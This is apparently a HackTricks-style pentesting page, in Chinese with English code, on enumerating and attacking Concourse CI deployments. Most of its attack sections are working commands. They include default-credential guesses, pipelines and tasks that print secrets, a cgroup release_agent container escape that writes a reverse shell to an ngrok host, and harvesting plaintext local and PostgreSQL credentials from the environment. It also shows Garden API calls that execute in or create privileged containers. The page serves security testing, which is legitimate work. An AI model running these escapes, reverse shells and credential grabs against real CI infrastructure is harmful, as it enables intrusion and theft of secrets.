19 KiB
Concourse Enumeration & Attacks
{{#include ../../banners/hacktricks-training.md}}
Concourse Enumeration & Attacks
用户角色与权限
Concourse 具有五个角色:
- Concourse 管理员:此角色仅授予 主团队(默认初始 concourse 团队)的所有者。管理员可以 配置其他团队(例如:
fly set-team,fly destroy-team...)。此角色的权限无法通过 RBAC 进行影响。 - 所有者:团队所有者可以 修改团队内的所有内容。
- 成员:团队成员可以在 团队资产 中 读取和写入,但不能修改团队设置。
- 管道操作员:管道操作员可以执行 管道操作,例如触发构建和固定资源,但不能更新管道配置。
- 查看者:团队查看者对团队及其管道具有 “只读” 访问权限。
Note
此外,所有者、成员、管道操作员和查看者的权限可以通过配置 RBAC 进行修改(更具体地说是配置其操作)。有关更多信息,请阅读:https://concourse-ci.org/user-roles.html
请注意,Concourse 将管道分组到团队中。因此,属于某个团队的用户将能够管理这些管道,并且 可能存在多个团队。用户可以属于多个团队,并在每个团队中拥有不同的权限。
Vars & Credential Manager
在 YAML 配置中,您可以使用语法 ((_source-name_:_secret-path_._secret-field_)) 配置值。
来自文档: source-name 是可选的,如果省略,将使用 集群范围的凭证管理器,或者可以 静态提供 值。
可选的 _secret-field_ 指定要读取的获取的秘密上的字段。如果省略,凭证管理器可以选择从获取的凭证中读取“默认字段”,如果该字段存在。
此外,secret-path 和 secret-field 如果 包含特殊字符(如 . 和 :),可以用双引号 "..." 括起来。例如,((source:"my.secret"."field:1")) 将把 secret-path 设置为 my.secret,并将 secret-field 设置为 field:1。
静态变量
静态变量可以在 任务步骤 中指定:
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
使用以下 fly 参数:
-v或--varNAME=VALUE将字符串VALUE设置为变量NAME的值。-y或--yaml-varNAME=VALUE将VALUE解析为 YAML,并将其设置为变量NAME的值。-i或--instance-varNAME=VALUE将VALUE解析为 YAML,并将其设置为实例变量NAME的值。有关实例变量的更多信息,请参见 Grouping Pipelines。-l或--load-vars-fromFILE加载FILE,这是一个包含变量名称与值映射的 YAML 文档,并设置所有变量。
凭证管理
在管道中可以通过不同方式指定 凭证管理器,请阅读 https://concourse-ci.org/creds.html。
此外,Concourse 支持不同的凭证管理器:
- The Vault credential manager
- The CredHub credential manager
- The AWS SSM credential manager
- The AWS Secrets Manager credential manager
- Kubernetes Credential Manager
- The Conjur credential manager
- Caching credentials
- Redacting credentials
- Retrying failed fetches
Caution
请注意,如果您对 Concourse 有某种 写入访问权限,您可以创建作业来 提取这些秘密,因为 Concourse 需要能够访问它们。
Concourse 枚举
为了枚举一个 concourse 环境,您首先需要 收集有效凭证 或找到一个 认证令牌,可能在 .flyrc 配置文件中。
登录和当前用户枚举
- 登录时需要知道 端点、团队名称(默认是
main)和 用户所属的团队: fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]- 获取配置的 目标:
fly targets- 检查配置的 目标连接 是否仍然 有效:
fly -t <target> status- 获取用户在指定目标下的 角色:
fly -t <target> userinfo
Note
请注意,API 令牌 默认保存在
$HOME/.flyrc中,您在盗取机器时可以在那里找到凭证。
团队与用户
- 获取团队列表
fly -t <target> teams- 获取团队内的角色
fly -t <target> get-team -n <team-name>- 获取用户列表
fly -t <target> active-users
管道
- 列出 管道:
fly -t <target> pipelines -a- 获取 管道 yaml(敏感信息可能在定义中找到):
fly -t <target> get-pipeline -p <pipeline-name>- 获取所有管道 配置声明的变量
for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done- 获取所有 使用的管道秘密名称(如果您可以创建/修改作业或劫持容器,您可以提取它们):
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
容器与工作者
- 列出 workers:
fly -t <target> workers- 列出 containers:
fly -t <target> containers- 列出 builds (查看正在运行的内容):
fly -t <target> builds
Concourse 攻击
凭证暴力破解
- admin:admin
- test:test
秘密和参数枚举
在上一节中,我们看到如何 获取管道使用的所有秘密名称和变量。这些 变量可能包含敏感信息,而 秘密的名称在稍后尝试窃取 时将非常有用。
在运行或最近运行的容器内会话
如果您拥有足够的权限 (member role 或更高) ,您将能够 列出管道和角色,并使用以下命令直接进入 <pipeline>/<job> 容器:
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
凭借这些权限,您可能能够:
- 窃取 容器 内部的秘密
- 尝试 逃离 到节点
- 枚举/滥用 云元数据 端点(从 pod 和节点,如果可能的话)
管道创建/修改
如果您拥有足够的权限(成员角色或更高),您将能够 创建/修改新管道。 请查看这个示例:
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
通过修改/创建新管道,您将能够:
- 窃取 秘密(通过回显它们或进入容器并运行
env) - 逃逸到 节点(通过给予您足够的权限 -
privileged: true) - 枚举/滥用 云元数据 端点(从 pod 和节点)
- 删除 创建的管道
执行自定义任务
这与之前的方法类似,但您可以仅执行自定义任务(这可能会更加隐蔽):
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml
从特权任务逃逸到节点
在前面的部分中,我们看到如何使用 concourse 执行特权任务。这不会给容器提供与 docker 容器中的特权标志完全相同的访问权限。例如,您不会在 /dev 中看到节点文件系统设备,因此逃逸可能会更“复杂”。
在以下 PoC 中,我们将使用 release_agent 进行逃逸,并进行一些小的修改:
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"
## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)
## Then next part I think is constant "hostpath-provisioner/default/"
## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)
## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for
# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Warning
正如您可能注意到的,这只是一个 常规的 release_agent 逃逸,只是修改了节点中 cmd 的路径。
从 Worker 容器逃逸到节点
一个常规的 release_agent 逃逸,稍作修改即可满足此需求:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
从Web容器逃逸到节点
即使Web容器禁用了某些防御,它也不是以常见的特权容器运行(例如,您无法 挂载,并且能力非常有限,因此所有简单的逃逸方法都无效)。
然而,它以明文形式存储本地凭据:
cat /concourse-auth/local-users
test:test
env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
您可以使用这些凭据登录到网络服务器并创建一个特权容器并逃逸到节点。
在环境中,您还可以找到信息以访问concourse使用的postgresql实例(地址、用户名、密码和数据库等其他信息):
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]
# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
滥用 Garden 服务 - 并非真正的攻击
Warning
这些只是关于该服务的一些有趣笔记,但由于它仅在本地主机上监听,这些笔记不会带来我们尚未利用过的影响
默认情况下,每个 concourse worker 将在 7777 端口运行一个 Garden 服务。该服务由 Web 主机使用,以指示 worker 需要执行的内容(下载镜像并运行每个任务)。这对攻击者来说听起来不错,但有一些很好的保护措施:
- 它仅在 本地暴露(127..0.0.1),我认为当 worker 使用特殊的 SSH 服务对 Web 进行身份验证时,会创建一个隧道,以便 Web 服务器可以 与每个 worker 内的 Garden 服务进行通信。
- Web 服务器 每隔几秒监控运行的容器,并且 意外的 容器会被 删除。因此,如果您想要 运行自定义容器,您需要 篡改 Web 服务器与 Garden 服务之间的 通信。
Concourse workers 以高容器权限运行:
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
然而,像挂载节点的/dev设备或release_agent这样的技术无法工作(因为节点的真实设备及其文件系统不可访问,只有一个虚拟设备)。我们无法访问节点的进程,因此在没有内核漏洞的情况下逃离节点变得复杂。
Note
在上一节中,我们看到如何从特权容器中逃脱,因此如果我们可以在当前 工作者创建的特权容器中执行命令,我们就可以逃离到节点。
请注意,在玩concourse时,我注意到当一个新容器被生成以运行某些内容时,容器进程可以从工作者容器访问,因此就像一个容器在内部创建一个新容器一样。
进入一个正在运行的特权容器
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
创建一个新的特权容器
您可以非常轻松地创建一个新容器(只需运行一个随机 UID)并在其上执行某些操作:
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
然而,web 服务器每隔几秒钟检查正在运行的容器,如果发现意外的容器,它将被删除。由于通信是在 HTTP 中进行的,您可以篡改通信以避免意外容器的删除:
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.
T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
参考
{{#include ../../banners/hacktricks-training.md}}